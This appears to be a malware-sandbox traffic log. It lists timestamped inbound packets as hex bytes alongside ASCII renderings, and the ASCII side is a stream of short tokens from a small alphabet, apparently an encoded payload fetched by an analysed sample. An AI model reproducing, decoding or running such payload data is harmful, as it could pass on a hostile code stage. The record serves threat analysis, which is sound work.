6b 6b 20 74 20 4f 4f 4f 20 6b 
Data Ascii:  OKO OOK OOt Oxt kk YR Kk Yx oQ kt OOk oR OEE OOE Yx YK oK YK tO RR OoR OxQ Qo Yx Kk Yx YK kK 
OOK OOt OOO kk EQ Kk Yx Kk Ek KY OOE OxQ x oR oEE Yx YK ko Qx OoR OxQ OOo oY YO YK YO Qx OOk OoE 
OxK OoR Yo Ro YE YR Qo OoK OoK QQ Ooo QE oxK YO YK ko kk t OOO k

Timestamp
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2021-11-09 21:21:48 UTC 28 IN Data Raw: 51 6b 20 4b 4b 20 4f 78 4f 20 4f 78 6f 20 4b 59 20 45 6f 20 6f 52 20 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 
78 52 20 4f 78 6f 20 59 51 20 45 6b 20 59 45 20 4f 6b 4b 20 52 4f 20 4f 6f 6f 20 6f 59 4f 20 4b 20 4b 4f 20 6f 52 20 51 59 
20 59 78 20 59 4b 20 51 4b 20 4f 20 4f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4f 20 59 6f 20 45 4b 20 51 45 20 4f 6f 6f 
20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 51 20 6b 45 20 4f 74 51 20 4f 4f 6f 
20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 
59 4b 20 74 4b 20 4f 4f 4b 20 4f 74 20 6f 45 51 20 4f 4f 6f 20 4b 51 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 
51 20 4f 78 6f 20 4f 4f 6f 20 6f 
Data Ascii: Qk KK OxO Oxo KY Eo oR kQ kK OOK Oot OxR Oxo YQ Ek YE OkK RO Ooo oYO K KO oR QY Yx YK QK O 
Oxo OxQ OOo Yo YO Yo EK QE Ooo oR tt OOo Yx YK EE Yx OEk OOQ kE OtQ OOo Ek oR EY Yx OoR OOK OOt Oxk 
QR Yx Kk Yx YK tK OOK Ot oEQ OOo KQ RE Yx YK kY OxY RQ Oxo OOo o

2021-11-09 21:21:48 UTC 29 IN Data Raw: 78 20 4b 6b 20 59 52 20 52 4f 20 6b 52 20 4f 4f 52 20 74 20 6f 4b 78 20 4f 4f 74 20 59 78 20 52 4b 20 59 45 20 
4b 51 20 6f 4f 6b 20 6f 74 20 51 51 20 52 51 20 4f 78 74 20 59 78 20 4b 6b 20 59 6f 20 6f 52 20 6b 6f 20 4f 20 4b 20 4f 78 
51 20 4f 4f 6f 20 59 52 20 74 4b 20 59 6f 20 6f 6b 20 74 4f 20 52 52 20 4f 6f 74 20 4f 78 51 20 6f 4b 4f 20 59 78 20 4b 6b 
20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f 45 59 20 59 59 20 59 4b 20 45 52 
20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 
4f 4f 6b 20 6f 52 20 74 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 51 20 4f 4f 51 20 6f 59 45 20 45 74 20 4b 6b 20 5
9 78 20 4b 59 20 4f 4f 45 20 4f 78 
Data Ascii: x Kk YR RO kR OOR t oKx OOt Yx RK YE KQ oOk ot QQ RQ Oxt Yx Kk Yo oR ko O K OxQ OOo YR tK Yo ok 
tO RR Oot OxQ oKO Yx Kk Yx EY kK OOK Oxx OOO OOY RK OEY YY YK ER Qx kO OxQ OOo Yo Ek oR RQ kK OOK 
Oot OxE OOk oR tx Yx YK QK OoO OOQ OOQ oYE Et Kk Yx KY OOE Ox

2021-11-09 21:21:48 UTC 30 IN Data Raw: 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 
59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4f 20 45 4f 20 52 52 20 4b 6b 
20 59 78 20 52 78 20 6b 74 20 4f 4f 6b 20 51 45 20 74 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 6b 74 20 6b 4b 20 4f 
4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 
20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 4f 4f 45 20 4f 4f 4f 20 6f 59 4b 20 45 4f 20 59 6f 20 45 6b 20 52 
78 20 4f 45 6b 20 51 6b 20 4f 4f 51 20 4f 78 59 20 4f 4f 59 20 6f 52 20 74 4b 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 
74 4f 20 4f 78 4b 20 6b 52 20 45 
Data Ascii:  ORo OEY OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk oR kk kK OOK Oot OOO EO RR Kk Yx Rx kt OOk 
QE tK OOo Yx YK QE kt kK OOK Oot tO OOo Yx KE o YE kK OOO OOt OxQ OOo EE Kk Yx EQ kR QK OOE OOO oYK 
EO Yo Ek Rx OEk Qk OOQ OxY OOY oR tK Yx YK QK Oox OtO OxK kR E

2021-11-09 21:21:48 UTC 32 IN Data Raw: 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 74 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 59 20 4f 4f 51 20 45 
74 20 4f 78 4b 20 59 74 20 4b 51 20 6b 52 20 6f 51 20 6f 4b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 20 6f 6f 74 20 4b 6b 
20 59 51 20 6f 4b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 4b 20 6f 20 4b 6b 20 45 78 20 45 4f 20 4f 4f 4b 20 4f 4f 74 20 
4f 78 45 20 6b 6b 20 45 78 20 4b 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 52 4b 20 51 45 20 4f 45 20 4f 4f 6f 20 59 78 20 59 
6b 20 4b 6b 20 6b 51 20 59 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 78 20 59 78 20 4b 6b 20 4b 4f 20 52 20 6b 52 20 
4f 4f 4b 20 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 59 4b 20 52 51 20 4f 4f 6f 20 51 45 20 6b 4f 20 4f 4f 
6f 20 59 78 20 59 6b 20 45 78 20 52 
Data Ascii: o OOo Yx Yk QE OtR kK OOK Oot tY OOQ Et OxK Yt KQ kR oQ oKO OxQ OOo YR o oot Kk YQ oKY OOt 
OxQ Ooo oK o Kk Ex EO OOK OOt OxE kk Ex Kk Yx Kk OoR RK QE OE OOo Yx Yk Kk kQ YE OOK OOt OxE Qx Yx Kk 
KO R kR OOK QK OxQ OOo Yx YK Yx YK RQ OOo QE kO OOo Yx Yk Ex R

2021-11-09 21:21:48 UTC 33 IN Data Raw: 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 4f 78 51 20 4f 4f 6f 
20 45 59 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 4f 78 20 45 4f 20 59 4b 20 4b 51 20 59 78 20 4b 
6b 20 52 74 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52 20 45 52 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f 
74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4f 20 4f 6f 59 20 4f 4f 6f 20 59 
59 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 4f 20 4f 4f 6f 20 6f 78 20 4b 6b 20 59 78 20 59 4b 20 
74 51 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 52 59 20 51 4f 20 59 4f 20 59 4b 20 6b 6f 20 45 59 20 4f 4f 6b 20 4f 
4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 
Data Ascii:  OOk RK Kk Kk Et YK kK OOK OOx OxQ OOo EY Yx tE Yo kK OOK OOE OOx EO YK KQ Yx Kk Rt Oox OtO 
OxK kR ER Yk oER YK ko kk OOt Oxk QR Yx Kk Yx YK kK OOK OxO OoY OOo YY RE Yx YK kY OxY RQ OOO OOo ox 
Kk Yx YK tQ OOK OOt OoK OOY RY QO YO YK ko EY OOk OOO OO Kk Kk

2021-11-09 21:21:48 UTC 34 IN Data Raw: 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20
4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 74 20 52 4f 20 4b 6b 20 59 
59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 52 20 59 4b 20 6b 4b 20 4f 4f 4b 
20 4f 78 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 4f 78 20 45 4f 
20 52 45 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59 20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20 
4b 6b 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 
4f 6f 6f 20 51 6b 20 4f 4f 6f 
Data Ascii: ot OtQ OOt ox Ek YR oEo kK OOR QY OxQ OOo YO Eo Yx YK kK OOK OOt OxQ Oot RO Kk YY Yt kK OOK 
OOR OOk RK Kk Kk ER YK kK OOK OxY OxQ OOo EY Yx tE Yo kK OOK OOE OOx EO RE KQ Yx Kk QK Oto OOo tY 
Oxo YR oEk Yx Kk OoR OOK OOt Oxk QR Yx Kk Yx YK kK OOK Ooo Qk OOo

2021-11-09 21:21:48 UTC 36 IN Data Raw: 4f 4f 6f 20 4f 4b 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 4b 51 20 6b 51 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 
78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 20 6f 78 20 45 6f 20 51 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 
4b 6b 20 59 4f 20 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 52 45 20 52 4f 20 59 4b 20 6b 
4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 4b 6b 20 59 4b 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 
51 20 4f 78 6b 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 4b 51 20 51 
59 20 45 6b 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 
4b 20 4f 4f 52 20 51 59 20 4f 
Data Ascii: OOo OK OOO OOo Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kK 
OOK OOt OxQ OOo Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OOo 
OOt OxQ OOR KQ QY Ek YY kK OOR Oot OtQ OOt ox Ek YR oEo kK OOR QY O

2021-11-09 21:21:48 UTC 37 IN Data Raw: 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20 
6b 52 20 4f 78 4f 20 6f 52 20 45 52 20 4f 4f 6f 20 59 78 20 59 4b 20 4b 6b 20 45 78 20 4f 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f
78 45 20 51 78 20 59 78 20 45 59 20 6f 20 59 6f 20 6b 4b 20 59 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 
59 78 20 59 4b 20 6b 74 20 51 4b 20 4b 51 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 4f 6f 78 20 74 6b 20 
4f 4f 51 20 6f 6f 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 4b 20 52 74 20 6f 4f 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 
45 4f 20 59 4f 20 6f 78 20 6f 51 20 6b 4f 20 6f 51 20 6f 45 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 74 45 20 59 6f 20
6b 4b 20 4f 4f 4b 20 4f 4f 45 
Data Ascii:  Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER OOo Yx YK Kk Ex OQY OOK OOt OxE Qx Yx EY o 
Yo kK Yk OOt OxQ OOo Yx Kk Yx YK kt QK KQ OOO OO Kk Kk Yx Yx Oox tk OOQ oo OOK Yx Kk YK Rt oOY OOK OOt 
Oxk kY EO YO ox oQ kO oQ oEt OxQ OOo YR Yx tE Yo kK OOK OOE
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2021-11-09 21:21:48 UTC 38 IN Data Raw: 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20 
4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 4b 45 20 4b 51 20 59 78 20 4b 6b 20 74 78 20 4f 4f 51 20 51 74 20 52 51 20 4f 6b 45 20 
59 4f 20 4b 6b 20 59 6f 20 52 51 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 6f 20 45 4b 20 59 59 20 52 
6b 20 4f 6b 6f 20 4f 4f 74 20 4f 4f 74 20 6f 51 20 6b 6b 20 4f 4b 4f 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 74 20 4f 78 52 20 4f 
4f 59 20 6f 20 52 4b 20 59 78 20 4b 6b 20 59 6f 20 6f 74 20 6b 6f 20 4f 20 6f 4f 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4b
20 4f 6b 20 6f 6f 6f 20 6b 74 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 4b 6b 20 52 51 20 
4f 4f 51 20 4f 78 45 20 4f 78 74 
Data Ascii: ko QK OYR Oxx QQ YY EK YY RQ oOR OOY OOt Oxt kk OKE KQ Yx Kk tx OOQ Qt RQ OkE YO Kk Yo RQ 
OQK OOK OOt OxE QQ Yo EK YY Rk Oko OOt OOt oQ kk OKO KQ Yx Kk Oot OxR OOY o RK Yx Kk Yo ot ko O oOE 
OxQ OOo YR tK Ok ooo kt OOK OOt RQ oEQ Yx Kk YR Kk RQ OOQ OxE Oxt

2021-11-09 21:21:48 UTC 40 IN Data Raw: 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b 
20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 78 20 45 52 20 6f 78 4b 20 4b 6b 20 6b 20 
4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f 78 20 4f 6f 4f 20
4f 4b 6f 20 59 6f 20 4f 78 51 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 
45 20 4b 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4
b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 74 20 45 52 20 6f 78 4b 20 4b 6b 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 
45 20 4f 74 51 20 4b 6b 20 59 78 
Data Ascii:  Yo OKR oE Kt RK OKx OOY YK OOo Yx YK RY OkE kK OOK OOY oxt kY Kx ER oxK Kk k OOK OOt Oxt E 
OtQ Kk Yx Kk oKR kt OOx OoO OKo Yo OxQ Yx YK ko O oKK OxQ OOo Yo OKR oE Ko RK OKx OOY Yx OOo Yx YK 
RY OkE kK OOK OOY oxt kY Kt ER oxK Kk Yo OOK OOt Oxt E OtQ Kk Yx

2021-11-09 21:21:48 UTC 41 IN Data Raw: 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20 4f 
4f 52 20 6b 78 20 45 78 20 4f 78 59 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 45 59 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 
6b 59 20 52 59 20 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 
59 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 6f 59 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 6f 4f 6b 20 4f 4f 74 
20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 51 20 59 4f 20 59 4b 20 6b 6f 20 6b 74 20 52 20 4f 51 52 20 4f 4f 6f 20 59 78 20 59 
6b 20 51 45 20 74 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 45 20 4f 59 4b 20 4b 6b 20 59 78 20 52 78 20 59 51 20 6f
59 4f 20 4f 4f 52 20 4f 78 51 20 4f 
Data Ascii:  Kk OOE O oOx OxQ OOo YR QY QE YY kK OOR kx Ex OxY Yx Kk YR kQ EY OOY OOt Oxt kY RY R Yx YK 
QK oQ Oo Oxk OOo Yo oO RY OYk kK OOK Oot o oYO YO Kk Yo OQ EQ oOk OOt OxQ Ooo QE tQ YO YK ko kt R OQR 
OOo Yx Yk QE tt kY OOK OOY to E OYK Kk Yx Rx YQ oYO OOR OxQ O

2021-11-09 21:21:48 UTC 42 IN Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59 
20 4f 4f 74 20 4f 78 51 20 4f 4f 74 20 59 78 20 4b 6b 20 59 78 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 
4b 20 4b 51 20 4b 6b 20 6b 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 4b 74 20 4b 52 
20 45 78 20 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 20 74 4b 20 59 52 20 59 78 20 74 78 20 4f 6f 4b 20 74 59 20 4f 4f 
74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 59 4b 20 6f 52 20 4f 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 59 20 74 78 20 59 
6f 20 52 74 20 6b 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4f 52 
20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 
Data Ascii: kK OOK OOt OxQ OOo OOY KQ Yx YK oo OOY OOt OxQ OOt Yx Kk Yx Yt kK OOK OOR OOk RK KQ Kk kx 
YK kK OOK kY OxQ OOo EY Kt KR Ex R OOK OOt OxE o tK YR Yx tx OoK tY OOt OxQ Ooo YR YK oR OYK kK OOK 
Oot RY tx Yo Rt kR YK kK Oox QE OQo OOo Yx Yk oR OOR kK OOK Oot O

2021-11-09 21:21:48 UTC 44 IN Data Raw: 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20 
4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4b 59 20 4f 78 52 20 4f 4f 45 20 59 78 20 59 6f 20 
74 52 20 4b 51 20 6b 59 20 4f 4f 4b 20 4f 4f 45 20 6f 6f 20 6f 78 45 20 59 78 20 4b 6b 20 59 52 20 74 6f 20 6b 45 20 4f 4f 
59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 6f 20 4b 51 20 59 78 20 59 78 20 4f 6f 4f 20 52 52 20 51 51 20 45 4f 20 6f 45 78 
20 59 6b 20 4b 6b 20 52 52 20 45 4b 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 
78 20 59 4b 20 51 4b 20 4f 78 4f 20 6f 4b 6b 20 6f 6f 4b 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 52 52 20 4f 78 6f
20 51 45 20 6f 78 51 20 4f 4f 6f 
Data Ascii: t OxQ OOK oR OER Yx YK QK Qx oxK OxQ OOo YR oK OER YK kK Oox oKY OxR OOE Yx Yo tR KQ kY 
OOK OOE oo oxE Yx Kk YR to kE OOY OOt OxY OK Yo KQ Yx Yx OoO RR QQ EO oEx Yk Kk RR EK OEo OoR OOt Ox
Q OOK oR OER Yx YK QK OxO oKk ooK OOo Yx KQ oE Eo RR Oxo QE oxQ OOo

2021-11-09 21:21:48 UTC 45 IN Data Raw: 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 
74 52 20 6b 52 20 51 78 20 4f 74 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 
20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4b 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 
20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 6b 6f 20 4b 6b 20 45 78 20 4f
6b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 4f 4b 20 4b 6b 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 78 52 20 74 78 20 
4f 78 4f 20 4f 4f 4b 20 4b 51 20 59 6f 20 6f 52 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 4f 52 20 52 74 20 59 6f 20 
52 74 20 4f 59 45 20 59 4b 20 
Data Ascii:  Kk OOR YK to OR OOt QQ OOo Yx Kk Yx OtR kR Qx OtO OxQ OOo Yo QY Q YK kK OOR kx OOt Rt Yk Yx 
KQ Yx OoK KE OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK Oko Kk Ex OkE OOK OOt Oxt EO OK Kk Yx Kk 
OOE OxR tx OxO OOK KQ Yo oR Oxk kK OOK OOY OOR Rt Yo Rt OYE YK 

2021-11-09 21:21:48 UTC 46 IN Data Raw: 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78 
51 20 4f 4f 6b 20 6f 45 20 4b 78 20 4f 20 52 6f 20 6b 52 20 4f 4f 45 20 4f 4f 45 20 52 51 20 4f 74 20 59 78 20 4b 6b 20 59 
6f 20 4b 74 20 4f 78 45 20 4f 4f 52 20 52 20 4f 51 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 74 6f 20 6f 6b 20 6f 4b 6f 20 4f 4f 45 
20 6f 52 20 59 52 20 4f 4f 45 20 59 78 20 59 4b 20 45 78 20 6f 6f 20 6b 52 20 51 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 6f 20 
59 6f 20 51 59 20 4f 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 
4f 6f 4b 20 4f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 
4f 78 45 20 4f 78 20 6f 4b 20 4b 
Data Ascii:  OOt Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O Ro kR OOE OOE RQ Ot Yx Kk Yo Kt OxE OOR R 
OQk OOo Yx Yk to ok oKo OOE oR YR OOE Yx YK Ex oo kR Qx OoK OxQ OOo Yo QY OO YK kK OOR kx OOt Rt Yk Yx 
KQ Yx OoK OR OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK K

2021-11-09 21:21:48 UTC 48 IN Data Raw: 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 
20 45 52 20 45 52 20 6f 78 4b 20 4b 6b 20 45 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 
20 4b 6b 20 6f 4b 52 20 6b 74 20 51 6b 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 52 74 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 
4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 52 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 6f 59 20 4f 4f 6f 20 59 
78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 45 20 45 52 20 6f 78 4b 20 4b 
6b 20 45 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f 
4f 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 
Data Ascii: OxQ OOk YR Kt RO Okt Qx OOK OOt OOO kY ER ER oxK Kk Ek OOK OOt Oxt E OtQ Kk Yx Kk oKR kt Qk 
OoO OKo Yo Rt Yx YK ko O oKK OxQ OOo Yo OKR oE KR RK OKx OOY oY OOo Yx YK RY OkE kK OOK OOY oxt kY 
KE ER oxK Kk EE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OOO OoO OKo Yo
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2021-11-09 21:21:48 UTC 49 IN Data Raw: 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59 
78 20 59 4b 20 4f 6f 74 20 51 78 20 4f 78 78 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 6f 4b 20 4f 6b 52 20 59 4b 20 6b 4b 20 4f 4f
52 20 51 59 20 74 59 20 4f 4f 59 20 59 4b 20 59 45 20 6f 52 20 51 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 4f 4f 6f 
20 59 78 20 4b 45 20 6f 20 59 78 20 6b 4b 20 6b 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 59 20 4b 6b 20 59 78 20 45 
51 20 6b 78 20 4f 20 6f 4b 51 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 
20 6f 20 45 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 4f 
20 59 4f 20 59 4b 20 6b 6f 20 
Data Ascii: YE Yx Yx Kk EQ oOY OOt OxQ Ooo oR Eo Yx YK Oot Qx Oxx OxQ OOo oY oK OkR YK kK OOR QY tY OOY 
YK YE oR QY kK OOK OOY tO OOo Yx KE o Yx kK kt OOR OxQ OOo KY Kk Yx EQ kx O oKQ Oxk OOo Yo oO RY OKY 
kK OOK Oot o EO YO Kk Yo OQ EQ Oxt OOt OxQ Ooo QE tO YO YK ko 

